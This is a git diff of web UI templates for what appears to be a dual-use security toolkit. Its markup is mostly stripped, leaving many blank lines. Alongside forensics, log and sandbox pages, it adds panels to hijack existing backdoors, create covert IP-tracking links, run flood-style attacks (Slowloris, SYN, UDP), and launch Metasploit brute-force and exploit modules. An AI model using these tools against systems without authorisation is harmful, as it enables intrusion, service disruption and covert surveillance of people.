+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/dns_service.html b/web/templates/dns_service.html
new file mode 100644
index 0000000..49f3752
--- /dev/null
+++ b/web/templates/dns_service.html
@@ -0,0 +1,1607 @@
+{% extends "base.html" %}
+{% block title %}DNS Server — AUTARCH{% endblock %}
+{% block content %}
+
    DNS Server
    
+
    
+    Authoritative DNS & nameserver with zone management, DNSSEC, import/export, and mail record automation.
+
    
+
+
+
    
+    
    Status: Checking...
    
+    
+    
+    
+    
    
+
    
+
+
+
    
+    
+    
+    
+    
+    
+    
+    
+
    
+
+
+
    
+    
    
+        
    
+            
    Create Zone
    
+            
+            
+            
+            
    
+
+            
    
+            
    Clone Zone
    
+            
    Duplicate an existing zone to a new domain name.
    
+            
+            
+            
+            
+            
+            
    
+
+            
    
+            
    Quick Mail Setup
    
+            
    Auto-create MX, SPF, DKIM, DMARC records for a zone.
    
+            
+            
+            
+            
+            
+            
+            
+            
    
+        
    
+
+        
    
+            
    
+                
    Zones
    
+                
+            
    
+            
    Loading...
    
+        
    
+    
    
+
    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/forensics.html b/web/templates/forensics.html
new file mode 100644
index 0000000..1d4dc20
--- /dev/null
+++ b/web/templates/forensics.html
@@ -0,0 +1,562 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — Forensics Toolkit{% endblock %}
+{% block content %}
+
    
+    
    Forensics Toolkit
    
+    
    
+        File hashing, data carving, timeline analysis, and evidence chain of custody.
+    
    
+
    
+
+
+
    
+    
+    
+    
+    
+
    
+
+
+
    
+
+    
+    
    
+        
    Hash File
    
+        
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
+        
    
+        
+    
    
+
+    
+    
    
+        
    Verify Hash
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
+        
    
+        
    
+    
    
+
+    
+    
    
+        
    Disk Image Creator
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
+        
    
+        
    
+        
+    
    
+
    
+
+
+
    
+
+    
+    
    
+        
    File Carving
    
+        
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
    
+                
+                
    
+                    
+                    
+                    
+                    
+                    
+                    
+                    
+                    
+                
    
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
+        
    
+        
    
+    
    
+
+    
+    
    
+        
    Carved Files
    
+        
    
+            
+            
+        
    
+        
+            
+                
+                    
+                    
+                    
+                    
+                    
+                
+            
+            
+                
+            
+        
    NameTypeOffsetSizeMD5
    No carved files. Run file carving first.
    
+    
    
+
    
+
+
+
    
+
+    
+    
    
+        
    Timeline Builder
    
+        
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
+        
    
+        
    
+    
    
+
+    
+    
    
+        
    Events
    
+        
    
+            
+            
+            
+            
+        
    
+        
+            
+                
+                    
+                    
+                    
+                    
+                
+            
+            
+                
+            
+        
    TimestampTypeFileSize
    No timeline data. Build a timeline from a directory.
    
+    
    
+
    
+
+
+
    
+
+    
+    
    
+        
    Evidence Files
    
+        
    
+            
+        
    
+        
    
+            
    No evidence files registered.
    
+        
    
+    
    
+
+    
+    
    
+        
    Carved Files
    
+        
    
+            
    No carved files. Use the Carve tab to extract files.
    
+        
    
+    
    
+
+    
+    
    
+        
    Chain of Custody Log
    
+        
    
+            
+            
+        
    
+        
+            
+                
+                    
+                    
+                    
+                    
+                    
+                
+            
+            
+                
+            
+        
    TimestampActionTargetDetailsHash
    No chain of custody entries.
    
+    
    
+
    
+
+
+{% endblock %}
diff --git a/web/templates/hack_hijack.html b/web/templates/hack_hijack.html
new file mode 100644
index 0000000..a3848c2
--- /dev/null
+++ b/web/templates/hack_hijack.html
@@ -0,0 +1,391 @@
+{% extends "base.html" %}
+{% block title %}Hack Hijack — AUTARCH{% endblock %}
+{% block content %}
+
    
+    
    Hack Hijack
    
+    
    Scan for existing compromises and take over backdoors
    
+
    
+
+
    
+    
+    
+    
+    
+
    
+
+
+
    
+    
    
+        
    Target Scan
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+        
+        
+        
+    
    
+
+    
    
+        
    What This Scans For
    
+        
    
+            
    EternalBlue
    DoublePulsar SMB implant, MS17-010 vulnerability
    
+            
    RAT / C2
    Meterpreter, Cobalt Strike, njRAT, DarkComet, Quasar, AsyncRAT, Gh0st, Poison Ivy
    
+            
    Shell Backdoors
    Netcat listeners, bind shells, telnet backdoors, rogue SSH
    
+            
    Web Shells
    PHP/ASP/JSP shells on HTTP services
    
+            
    Proxies
    SOCKS, HTTP proxies, tunnels used as pivot points
    
+            
    Miners
    Cryptocurrency mining stratum connections
    
+        
    
+    
    
+
    
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/ipcapture.html b/web/templates/ipcapture.html
new file mode 100644
index 0000000..75f5ee8
--- /dev/null
+++ b/web/templates/ipcapture.html
@@ -0,0 +1,233 @@
+{% extends "base.html" %}
+{% block title %}IP Capture — AUTARCH{% endblock %}
+{% block content %}
+
    IP Capture & Redirect
    
+
    
+    Create stealthy tracking links that capture visitor IP + metadata, then redirect to a legitimate site.
+
    
+
+
+
    
+    
+    
+
    
+
+
+
    
+    
    
+        
+        
    
+            
    Create Capture Link
    
+            
+            
+
+            
+            
+
+            
+            
+
+            
+
+            
+            
+        
    
+
+        
+        
    
+            
    
+                
    Active Links
    
+                
+            
    
+            
+        
    
+    
    
+
    
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/loadtest.html b/web/templates/loadtest.html
new file mode 100644
index 0000000..a7c7261
--- /dev/null
+++ b/web/templates/loadtest.html
@@ -0,0 +1,457 @@
+{% extends "base.html" %}
+{% block title %}Load Test - AUTARCH{% endblock %}
+
+{% block content %}
+
    
+    
    Load Testing
    
+
    
+
+
+
    
+    
    Test Configuration
    
+    
    
+        
+        
+        
+        
+        
+    
    
+
+    
+    
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+            
+        
    
+    
    
+
+    
+    
    
+        
    
+            
    
+                
+                
+            
    
+        
    
+        
    Slowloris holds connections open with partial HTTP headers, exhausting the target's connection pool. Each worker manages ~50 sockets.
    
+    
    
+
+    
+    
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    Rapid TCP connect/disconnect to exhaust server resources. Set payload > 0 to send random data per connection.
    
+    
    
+
+    
+    
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    Requires administrator/root privileges for raw sockets. Falls back to TCP connect flood without admin.
    
+    
    
+
+    
+    
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    Sends UDP packets at maximum rate. Effective against UDP services (DNS, NTP, etc.).
    
+    
    
+
+    
+    
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+            
    
+        
    
+    
    
+
+    
+    
    
+        
+        
+        
+        
+    
    
+
    
+
+
+
+
+
+
    
+    
    Quick Presets
    
+    
    
+        
+        
+        
+        
+        
+        
+    
    
+
    
+
+
+{% endblock %}
diff --git a/web/templates/log_correlator.html b/web/templates/log_correlator.html
new file mode 100644
index 0000000..3be1a19
--- /dev/null
+++ b/web/templates/log_correlator.html
@@ -0,0 +1,473 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — Log Correlator{% endblock %}
+
+{% block content %}
+
    
+    
    Log Correlator
    
+    
    
+        Ingest, correlate, and alert on security events from multiple log sources.
+    
    
+
    
+
+
+
    
+    
+    
+    
+    
+
    
+
+
+
    
+
+
    
+    
    Ingest from File
    
+    
    
+        
+        
+    
    
+    
    
+
    
+
+
    
+    
    Paste Log Data
    
+    
    
+        
+        
+    
    
+    
    
+        
+    
    
+    
    
+
    
+
+
    
+    
    Sources
    
+    
    
+        
+    
    
+    
+        
+        
+            
+        
+    
    SourceTypeEntriesLast Ingested
    No log sources ingested yet.
    
+
    
+
+
    
+    
    Search Logs
    
+    
    
+        
+        
+    
    
+    
+    
+        
+        
+            
+        
+    
    TimestampSourceLog Entry
    Enter a query and click Search.
    
+
    
+
+
    
+    
    
+        
+    
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Security Alerts
    
+    
    
+        Severity:
+        
+        
+        
+        
+        
+        
+    
    
+    
+        
+        
+            
+        
+    
    TimestampRuleSeveritySourceLog Entry
    No alerts triggered yet.
    
+    
    
+        
+    
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Detection Rules
    
+    
    
+        
+    
    
+    
+        
+        
+            
+        
+    
    IDNamePatternSeverityTypeAction
    No rules loaded.
    
+
    
+
+
    
+    
    Add Custom Rule
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+    
    
+    
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Overview
    
+    
    
+        
    
+            
    Total Logs
    
+            
    --
    
+        
    
+        
    
+            
    Total Alerts
    
+            
    --
    
+        
    
+        
    
+            
    Sources
    
+            
    --
    
+        
    
+        
    
+            
    Active Rules
    
+            
    --
    
+        
    
+    
    
+    
    
+        
+    
    
+
    
+
+
    
+    
    Alerts by Severity
    
+    
+        
+            
+            
+            
+            
+        
+    
    Critical--
    High--
    Medium--
    Low--
    
+
    
+
+
    
+    
    Top Triggered Rules
    
+    
+        
+        
+            
+        
+    
    RuleCountLast Triggered
    No data yet.
    
+
    
+
+
    
+    
    Timeline (Hourly Alert Counts)
    
+    
    
+        
    
+        
    
+        
    No timeline data yet. Ingest logs and trigger rules to populate.
    
+    
    
+
    
+
+
    
+
+
+{% endblock %}
diff --git a/web/templates/malware_sandbox.html b/web/templates/malware_sandbox.html
new file mode 100644
index 0000000..bf2b0c6
--- /dev/null
+++ b/web/templates/malware_sandbox.html
@@ -0,0 +1,408 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — Malware Sandbox{% endblock %}
+
+{% block content %}
+
    
+    
    Malware Sandbox
    
+    
    
+        Submit, analyze, and report on suspicious files using static and dynamic analysis.
+    
    
+
    
+
+
+
    
+    
+    
+    
+
    
+
+
+
    
+
+
    
+    
    Submit Sample
    
+    
    
+        Upload a file or specify a path on the server to submit for analysis.
+    
    
+
+    
    
+        
    
+            
+            
+        
    
+    
    
+    
    -- OR --
    
+    
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+    
    
+    
    
+
    
+
+
    
+    
    Submitted Samples
    
+    
    
+        
+    
    
+    
+        
+        
+            
+        
+    
    NameSizeSHA256SubmittedStatus
    No samples submitted yet.
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Select Sample
    
+    
    
+        
+        
+    
    
+
    
+
+
    
+    
    Static Analysis
    
+    
    
+        Inspect file headers, strings, imports, and calculate risk score without execution.
+    
    
+    
    
+        
+    
    
+
+    
+    
+
    
+
+
    
+    
    Dynamic Analysis
    
+    
    
+        Execute sample in an isolated Docker container and monitor behavior.
+    
    
+    
    
+        
+        
+    
    
+
+    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Analysis Reports
    
+    
    
+        
+    
    
+    
+        
+        
+            
+        
+    
    SampleRisk LevelDateAction
    No reports generated yet.
    
+
    
+
+
    
+    
    Generate Report
    
+    
    
+        
+        
+    
    
+
    
+
+
+
+
    
+
+
+{% endblock %}
diff --git a/web/templates/net_mapper.html b/web/templates/net_mapper.html
new file mode 100644
index 0000000..b59deed
--- /dev/null
+++ b/web/templates/net_mapper.html
@@ -0,0 +1,264 @@
+{% extends "base.html" %}
+{% block title %}Net Mapper — AUTARCH{% endblock %}
+{% block content %}
+
    
+    
    Network Topology Mapper
    
+    
    Host discovery, service enumeration, topology visualization
    
+
    
+
+
    
+    
+    
+    
+
    
+
+
+
    
+    
    
+        
    Host Discovery
    
+        
    
+            
    
+                
+                
+            
    
+            
+            
+        
    
+        
    
+    
    
+
+    
    
+        
    Run a discovery scan to find hosts
    
+        
+    
    
+
    
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/offense.html b/web/templates/offense.html
index 83db57a..b06d5eb 100644
--- a/web/templates/offense.html
+++ b/web/templates/offense.html
@@ -6,14 +6,52 @@
     
    Offense
    
 
 
-
+
 
    
-    
    Metasploit Status
    
-    
    
-        Checking...
+    
    Metasploit Server
    
+    
    
+        
    
+            Checking...
+        
    
+        
    
+        
    
+        
+        
+        
+        
+    
    
+
+    
+    
-    
    
-    
    Module execution is CLI-only for safety. The web UI provides search, browsing, and status.
    
 
    
 
 
@@ -28,55 +66,6 @@
     
    
 
 
-
-
    
-    
    Module Browser
    
-    
    
-        
-        
-        
-        
-    
    
-    
-    
-    
-    
-    
    
-        
    Click a tab to browse modules.
    
-    
    
-    
    
-    
    
-    
    
-
    
-
-
-
    
-    
    Active Sessions
    
-    
    
-        
-    
    
-    
    
-        
    Click "Refresh" to check for active sessions.
    
-    
    
-
    
-
-{% if modules %}
-
    
-    
    Offense Modules
    
-    
      
-    {% for name, info in modules.items() %}
-        
    • 
-            
      
-                
      {{ name }}
      
-                
      {{ info.description }}
      
-            
      
-            
      v{{ info.version }}
      
-        
      • 
-    {% endfor %}
-    
    
-
    
-{% endif %}
-
 
 
    
     
    Run Module
    
@@ -84,6 +73,10 @@
         
         
         
+        
+        
+        
+        
         
     
    
 
@@ -105,6 +98,7 @@
         
         
    
             
+            
             
         
    
         
         
         
    
-            
-            
+            
+            
+            
+            
         
    
     
 
@@ -153,11 +149,119 @@
             
         
         
    
-            
-            
+            
+            
+            
+            
         
    
     
 
+    
+    
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
+            
+            
+            
+        
    
+    
    
+
+    
+    
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
+            
+            
+            
+        
    
+    
    
+
+    
+    
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
+            
+            
+            
+        
    
+    
    
+
+    
+    
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+        
    
+            
+        
    
+        
    Exploits run as background jobs. Check Active Sessions for shells.
    
+    
    
+
     
     
    
         
    
@@ -183,6 +287,57 @@
     
    
 
    
 
+
+
    
+    
    Module Browser
    
+    
    
+        
+        
+        
+        
+    
    
+    
+    
+    
+    
+    
    
+        
    Click a tab to browse modules.
    
+    
    
+    
    
+    
    
+    
    
+
    
+
+
+
    
+    
    Active Sessions & Jobs
    
+    
    
+        
+        
+    
    
+    
    
+        
    Click "Refresh" to check for active sessions and jobs.
    
+    
    
+    
    
+
    
+
+{% if modules %}
+
    
+    
    Offense Modules
    
+    
      
+    {% for name, info in modules.items() %}
+        
    • 
+            
      
+                
      {{ name }}
      
+                
      {{ info.description }}
      
+            
      
+            
      v{{ info.version }}
      
+        
      • 
+    {% endfor %}
+    
    
+
    
+{% endif %}
+
 
 
    
     
    Agent Hal — Autonomous Mode
    
@@ -202,18 +357,169 @@ let _currentRunId = null;
 // Check MSF status on page load
 document.addEventListener('DOMContentLoaded', function() { checkMSFStatus(); });
 
+/* ── Featured Module Definitions ───────────────────────────────── */
 const _FEATURED = {
-    'ssh':        {path: 'auxiliary/scanner/ssh/ssh_version',  opts: () => ({RHOSTS: v('ssh-rhosts'), RPORT: parseInt(v('ssh-rport')) || 22, THREADS: parseInt(v('ssh-threads')) || 10})},
-    'ssh-brute':  {path: 'auxiliary/scanner/ssh/ssh_login',    opts: () => ({RHOSTS: v('ssh-rhosts'), RPORT: parseInt(v('ssh-rport')) || 22, USERNAME: v('ssh-username'), PASSWORD: v('ssh-password')})},
-    'tcp-scan':   {path: 'auxiliary/scanner/portscan/tcp',     opts: () => ({RHOSTS: v('ps-rhosts'), PORTS: v('ps-ports') || '1-1024', THREADS: parseInt(v('ps-threads')) || 10})},
-    'syn-scan':   {path: 'auxiliary/scanner/portscan/syn',     opts: () => ({RHOSTS: v('ps-rhosts'), PORTS: v('ps-ports') || '1-1024', THREADS: parseInt(v('ps-threads')) || 10})},
-    'smb-version':{path: 'auxiliary/scanner/smb/smb_version',  opts: () => ({RHOSTS: v('os-rhosts')})},
-    'http-header':{path: 'auxiliary/scanner/http/http_header', opts: () => ({RHOSTS: v('os-rhosts')})},
-    'custom':     {path: null, opts: () => {try{return JSON.parse(v('custom-options') || '{}')}catch(e){return {}}}},
+    // SSH
+    'ssh':           {path: 'auxiliary/scanner/ssh/ssh_version',  opts: () => ({RHOSTS: v('ssh-rhosts'), RPORT: parseInt(v('ssh-rport')) || 22, THREADS: parseInt(v('ssh-threads')) || 10})},
+    'ssh-enum':      {path: 'auxiliary/scanner/ssh/ssh_enumusers', opts: () => ({RHOSTS: v('ssh-rhosts'), RPORT: parseInt(v('ssh-rport')) || 22, THREADS: parseInt(v('ssh-threads')) || 10})},
+    'ssh-brute':     {path: 'auxiliary/scanner/ssh/ssh_login',    opts: () => ({RHOSTS: v('ssh-rhosts'), RPORT: parseInt(v('ssh-rport')) || 22, USERNAME: v('ssh-username'), PASSWORD: v('ssh-password')})},
+    // Port Scan
+    'tcp-scan':      {path: 'auxiliary/scanner/portscan/tcp',     opts: () => ({RHOSTS: v('ps-rhosts'), PORTS: v('ps-ports') || '1-1024', THREADS: parseInt(v('ps-threads')) || 10})},
+    'syn-scan':      {path: 'auxiliary/scanner/portscan/syn',     opts: () => ({RHOSTS: v('ps-rhosts'), PORTS: v('ps-ports') || '1-1024', THREADS: parseInt(v('ps-threads')) || 10})},
+    'ack-scan':      {path: 'auxiliary/scanner/portscan/ack',     opts: () => ({RHOSTS: v('ps-rhosts'), PORTS: v('ps-ports') || '1-1024', THREADS: parseInt(v('ps-threads')) || 10})},
+    'udp-scan':      {path: 'auxiliary/scanner/discovery/udp_sweep', opts: () => ({RHOSTS: v('ps-rhosts'), THREADS: parseInt(v('ps-threads')) || 10})},
+    // OS Detect
+    'smb-version':   {path: 'auxiliary/scanner/smb/smb_version',  opts: () => ({RHOSTS: v('os-rhosts')})},
+    'http-header':   {path: 'auxiliary/scanner/http/http_header', opts: () => ({RHOSTS: v('os-rhosts')})},
+    'ftp-version':   {path: 'auxiliary/scanner/ftp/ftp_version',  opts: () => ({RHOSTS: v('os-rhosts')})},
+    'telnet-version':{path: 'auxiliary/scanner/telnet/telnet_version', opts: () => ({RHOSTS: v('os-rhosts')})},
+    // Vuln Scan
+    'eternalblue-check': {path: 'auxiliary/scanner/smb/smb_ms17_010', opts: () => ({RHOSTS: v('vuln-rhosts'), THREADS: parseInt(v('vuln-threads')) || 5})},
+    'bluekeep-check':    {path: 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep', opts: () => ({RHOSTS: v('vuln-rhosts'), THREADS: parseInt(v('vuln-threads')) || 5})},
+    'ssl-heartbleed':    {path: 'auxiliary/scanner/ssl/openssl_heartbleed', opts: () => ({RHOSTS: v('vuln-rhosts'), THREADS: parseInt(v('vuln-threads')) || 5})},
+    'shellshock-check':  {path: 'auxiliary/scanner/http/apache_mod_cgi_bash_env', opts: () => ({RHOSTS: v('vuln-rhosts'), THREADS: parseInt(v('vuln-threads')) || 5})},
+    // SMB
+    'smb-enum-shares': {path: 'auxiliary/scanner/smb/smb_enumshares', opts: () => ({RHOSTS: v('smb-rhosts'), SMBUser: v('smb-user'), SMBPass: v('smb-pass')})},
+    'smb-enum-users':  {path: 'auxiliary/scanner/smb/smb_enumusers',  opts: () => ({RHOSTS: v('smb-rhosts'), SMBUser: v('smb-user'), SMBPass: v('smb-pass')})},
+    'smb-login':       {path: 'auxiliary/scanner/smb/smb_login',      opts: () => ({RHOSTS: v('smb-rhosts'), SMBUser: v('smb-user'), SMBPass: v('smb-pass')})},
+    'smb-pipe-auditor':{path: 'auxiliary/scanner/smb/pipe_auditor',   opts: () => ({RHOSTS: v('smb-rhosts'), SMBUser: v('smb-user'), SMBPass: v('smb-pass')})},
+    // HTTP
+    'http-dir-scanner': {path: 'auxiliary/scanner/http/dir_scanner',  opts: () => ({RHOSTS: v('http-rhosts'), RPORT: parseInt(v('http-rport')) || 80, THREADS: parseInt(v('http-threads')) || 5, PATH: v('http-targeturi') || '/'})},
+    'http-title':       {path: 'auxiliary/scanner/http/title',        opts: () => ({RHOSTS: v('http-rhosts'), RPORT: parseInt(v('http-rport')) || 80})},
+    'http-robots':      {path: 'auxiliary/scanner/http/robots_txt',   opts: () => ({RHOSTS: v('http-rhosts'), RPORT: parseInt(v('http-rport')) || 80})},
+    'http-cert':        {path: 'auxiliary/scanner/http/cert',         opts: () => ({RHOSTS: v('http-rhosts'), RPORT: parseInt(v('http-rport')) || 443})},
+    // Exploit
+    'exploit-run':   {path: null, opts: () => {
+        const o = {RHOSTS: v('exp-rhosts'), LHOST: v('exp-lhost'), LPORT: parseInt(v('exp-lport')) || 4444};
+        const payload = v('exp-payload');
+        if (payload) o.PAYLOAD = payload;
+        return o;
+    }},
+    // Custom
+    'custom':        {path: null, opts: () => {try{return JSON.parse(v('custom-options') || '{}')}catch(e){return {}}}},
 };
 
 function v(id) { const el = document.getElementById(id); return el ? el.value.trim() : ''; }
 
+/* ── Server Control ─────────────────────────────────────────────── */
+function checkMSFStatus() {
+    fetch('/offense/status').then(r => r.json()).then(d => {
+        const el = document.getElementById('msf-status');
+        const ver = document.getElementById('msf-version');
+        const btnConnect = document.getElementById('btn-connect');
+        const btnDisconnect = document.getElementById('btn-disconnect');
+        const btnStart = document.getElementById('btn-start-server');
+        const btnStop = document.getElementById('btn-stop-server');
+
+        if (d.connected) {
+            el.innerHTML = 'Connected';
+            ver.textContent = d.version ? 'Metasploit ' + d.version : '';
+            btnConnect.style.display = 'none';
+            btnDisconnect.style.display = '';
+            btnStop.style.display = d.server_running ? '' : 'none';
+            btnStart.style.display = 'none';
+        } else if (d.server_running) {
+            el.innerHTML = 'Server running (not connected)';
+            ver.textContent = '';
+            btnConnect.style.display = '';
+            btnDisconnect.style.display = 'none';
+            btnStop.style.display = '';
+            btnStart.style.display = 'none';
+        } else {
+            el.innerHTML = 'Not running';
+            ver.textContent = '';
+            btnConnect.style.display = 'none';
+            btnDisconnect.style.display = 'none';
+            btnStop.style.display = 'none';
+            btnStart.style.display = '';
+        }
+
+        // Populate settings panel
+        if (d.host) document.getElementById('msf-host').value = d.host;
+        if (d.port) document.getElementById('msf-port').value = d.port;
+        if (d.username) document.getElementById('msf-user').value = d.username;
+        document.getElementById('msf-ssl').checked = d.ssl !== false;
+    }).catch(() => {
+        document.getElementById('msf-status').innerHTML = 'Error checking status';
+    });
+}
+
+function toggleServerPanel() {
+    const panel = document.getElementById('server-panel');
+    panel.style.display = panel.style.display === 'none' ? '' : 'none';
+}
+
+function _getServerSettings() {
+    return {
+        host: v('msf-host') || '127.0.0.1',
+        port: parseInt(v('msf-port')) || 55553,
+        username: v('msf-user') || 'msf',
+        password: v('msf-pass'),
+        ssl: document.getElementById('msf-ssl').checked,
+    };
+}
+
+function msfStartServer() {
+    const settings = _getServerSettings();
+    if (!settings.password) { alert('Password is required'); return; }
+    const msg = document.getElementById('server-msg');
+    msg.textContent = 'Starting server...';
+
+    fetch('/offense/server/start', {
+        method: 'POST', headers: {'Content-Type': 'application/json'},
+        body: JSON.stringify(settings)
+    }).then(r => r.json()).then(d => {
+        msg.textContent = d.ok ? (d.message || 'Started') : ('Error: ' + (d.error || 'unknown'));
+        if (d.ok) { document.getElementById('server-panel').style.display = 'none'; checkMSFStatus(); }
+    }).catch(e => { msg.textContent = 'Error: ' + e.message; });
+}
+
+function msfConnectOnly() {
+    const settings = _getServerSettings();
+    if (!settings.password) { alert('Password is required'); return; }
+    const msg = document.getElementById('server-msg');
+    msg.textContent = 'Connecting...';
+
+    fetch('/offense/connect', {
+        method: 'POST', headers: {'Content-Type': 'application/json'},
+        body: JSON.stringify({password: settings.password})
+    }).then(r => r.json()).then(d => {
+        msg.textContent = d.ok ? 'Connected' : ('Error: ' + (d.error || 'unknown'));
+        if (d.ok) { document.getElementById('server-panel').style.display = 'none'; checkMSFStatus(); }
+    }).catch(e => { msg.textContent = 'Error: ' + e.message; });
+}
+
+function msfConnect() {
+    // Quick connect using saved password
+    fetch('/offense/connect', {
+        method: 'POST', headers: {'Content-Type': 'application/json'},
+        body: JSON.stringify({})
+    }).then(r => r.json()).then(d => {
+        if (d.ok) { checkMSFStatus(); }
+        else { toggleServerPanel(); document.getElementById('server-msg').textContent = d.error || 'Connection failed — enter password'; }
+    });
+}
+
+function msfDisconnect() {
+    fetch('/offense/disconnect', {method: 'POST'}).then(() => checkMSFStatus());
+}
+
+function msfStopServer() {
+    if (!confirm('Stop the MSF RPC server?')) return;
+    fetch('/offense/server/stop', {method: 'POST'}).then(() => checkMSFStatus());
+}
+
+function msfSaveSettings() {
+    const settings = _getServerSettings();
+    fetch('/offense/settings', {
+        method: 'POST', headers: {'Content-Type': 'application/json'},
+        body: JSON.stringify(settings)
+    }).then(r => r.json()).then(d => {
+        document.getElementById('server-msg').textContent = d.ok ? 'Settings saved' : ('Error: ' + d.error);
+    });
+}
+
+/* ── Module Execution ───────────────────────────────────────────── */
 function toggleBruteRow() {
     var row = document.getElementById('ssh-brute-row');
     row.style.display = row.style.display === 'none' ? '' : 'none';
@@ -222,10 +528,19 @@ function toggleBruteRow() {
 function runFeaturedModule(key) {
     const cfg = _FEATURED[key];
     if (!cfg) return;
-    const path = key === 'custom' ? v('custom-module') : cfg.path;
+    let path;
+    if (key === 'custom') {
+        path = v('custom-module');
+    } else if (key === 'exploit-run') {
+        path = v('exp-module');
+    } else {
+        path = cfg.path;
+    }
     if (!path) { alert('Enter a module path'); return; }
     const opts = cfg.opts();
-    if (!opts.RHOSTS && key !== 'custom') { alert('Enter a target in RHOSTS'); return; }
+    // Remove empty string values
+    Object.keys(opts).forEach(k => { if (opts[k] === '' || opts[k] === undefined) delete opts[k]; });
+    if (!opts.RHOSTS && !['custom'].includes(key)) { alert('Enter a target'); return; }
     runModule(path, opts);
 }
 
@@ -234,14 +549,10 @@ function runModule(module_path, options) {
     const status = document.getElementById('run-status');
     const stopBtn = document.getElementById('run-stop-btn');
     out.innerHTML = '';
-    status.textContent = 'Starting...';
+    status.textContent = 'Starting ' + module_path + '...';
     stopBtn.style.display = '';
     _currentJobId = null;
 
-    const es = new EventSource('/offense/module/run?' + new URLSearchParams({_body: JSON.stringify({module_path, options})}));
-
-    // Use fetch + ReadableStream (EventSource doesn't support POST)
-    es.close();
     fetch('/offense/module/run', {
         method: 'POST',
         headers: {'Content-Type': 'application/json'},
@@ -261,14 +572,27 @@ function runModule(module_path, options) {
                     if (!line) return;
                     try {
                         const d = JSON.parse(line);
-                        if (d.job_id) { _currentJobId = d.job_id; status.textContent = 'Running…'; }
+                        if (d.job_id) { _currentJobId = d.job_id; status.textContent = 'Running ' + module_path + '…'; }
                         if (d.error) { out.innerHTML += '
    Error: ' + escapeHtml(d.error) + '
    '; stopBtn.style.display = 'none'; }
-                        if (d.line)  { out.innerHTML += '
    ' + escapeHtml(d.line) + '
    '; out.scrollTop = out.scrollHeight; }
-                        if (d.done)  {
+                        if (d.line) {
+                            let cls = '';
+                            if (d.line.includes('[+]')) cls = 'success';
+                            else if (d.line.includes('[-]') || d.line.includes('Error')) cls = 'err';
+                            else if (d.line.includes('[!]')) cls = 'warn';
+                            out.innerHTML += '
    ' + escapeHtml(d.line) + '
    ';
+                            out.scrollTop = out.scrollHeight;
+                        }
+                        if (d.done) {
                             status.textContent = 'Done.';
                             stopBtn.style.display = 'none';
-                            if (d.open_ports && d.open_ports.length) out.innerHTML += '
    Open ports: ' + escapeHtml(d.open_ports.join(', ')) + '
    ';
-                            if (d.findings && d.findings.length) out.innerHTML += '
    Findings: ' + escapeHtml(JSON.stringify(d.findings)) + '
    ';
+                            if (d.open_ports && d.open_ports.length) {
+                                out.innerHTML += '
    Open ports: ' + d.open_ports.map(p => escapeHtml(String(p.port || p))).join(', ') + '
    ';
+                            }
+                            if (d.services && d.services.length) {
+                                let html = '
    Services detected:
    ';
+                                d.services.forEach(s => { html += '
    ' + escapeHtml(s.ip + ':' + s.port + ' — ' + s.info) + '
    '; });
+                                out.innerHTML += html;
+                            }
                         }
                     } catch(e) {}
                 });
@@ -286,7 +610,45 @@ function stopCurrentModule() {
     document.getElementById('run-status').textContent = 'Stopped.';
 }
 
-// Agent Hal
+/* ── Sessions & Jobs ────────────────────────────────────────────── */
+function loadMSFSessions() {
+    const el = document.getElementById('msf-sessions');
+    fetch('/offense/sessions').then(r => r.json()).then(d => {
+        if (d.error) { el.innerHTML = '
    ' + escapeHtml(d.error) + '
    '; return; }
+        const sessions = d.sessions || {};
+        const keys = Object.keys(sessions);
+        if (!keys.length) { el.innerHTML = '
    No active sessions.
    '; return; }
+        let html = '';
+        keys.forEach(sid => {
+            const s = sessions[sid];
+            html += '';
+        });
+        html += '
